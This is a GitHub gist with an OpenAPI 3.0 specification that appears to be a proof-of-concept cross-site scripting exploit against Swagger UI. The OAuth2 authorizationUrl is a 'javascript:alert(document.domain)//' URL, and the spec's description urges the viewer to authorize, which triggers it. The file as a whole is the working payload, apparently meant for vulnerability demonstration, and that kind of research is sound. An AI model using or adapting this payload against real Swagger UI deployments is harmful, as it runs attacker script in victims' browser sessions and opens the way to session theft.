Skip to content

Instantly share code, notes, and snippets.

@lorthirk
Created August 24, 2021 10:33
Show Gist options
  • Select an option

  • Save lorthirk/b6cb6b6d6554f5a38530a77a46074d05 to your computer and use it in GitHub Desktop.

Select an option

Save lorthirk/b6cb6b6d6554f5a38530a77a46074d05 to your computer and use it in GitHub Desktop.

Revisions

  1. lorthirk created this gist Aug 24, 2021.
    23 changes: 23 additions & 0 deletions gistfile1.txt
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,23 @@
    openapi: 3.0.0
    components:
    securitySchemes:
    OAuth2:
    type: oauth2
    flows:
    authorizationCode:
    authorizationUrl: javascript:alert(document.domain)//
    tokenUrl: https://example.com/oauth/token
    scopes:
    read: Grants read access
    write: Grants write access
    admin: Grants access to admin operations
    info:
    version: "0.0.1"
    title: Swagger UI
    description: Please Authorize!
    paths:
    /:
    get:
    responses:
    200:
    description: Successful response